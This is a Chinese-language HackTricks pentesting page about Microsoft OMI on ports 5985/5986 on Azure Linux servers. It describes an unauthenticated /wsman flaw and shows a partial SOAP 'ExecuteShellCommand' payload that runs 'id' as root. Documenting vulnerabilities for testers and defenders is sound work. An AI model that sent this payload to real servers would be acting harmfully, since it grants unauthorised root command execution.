5985,5986 - Pentesting OMI

Support HackTricks

基本信息

OMI 被微软作为一个 开源 工具发布,旨在进行远程配置管理。它特别适用于在 Azure 上使用以下服务的 Linux 服务器:

  • Azure 自动化

  • Azure 自动更新

  • Azure 运营管理套件

  • Azure 日志分析

  • Azure 配置管理

  • Azure 诊断

当这些服务被激活时,进程 omiengine 以 root 身份启动并监听所有接口。

默认端口 使用 5985 (http) 和 5986 (https)。

如在 9 月 16 日观察到的,部署在 Azure 上的 Linux 服务器由于 OMI 的一个易受攻击版本而易受攻击。此漏洞在于 OMI 服务器通过 /wsman 端点处理消息时不需要身份验证头,错误地授权了客户端。

攻击者可以通过发送不带身份验证头的 "ExecuteShellCommand" SOAP 有效负载来利用此漏洞,迫使服务器以 root 权限执行命令。

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

有关此CVE的更多信息 请查看此处

参考资料

支持HackTricks

Last updated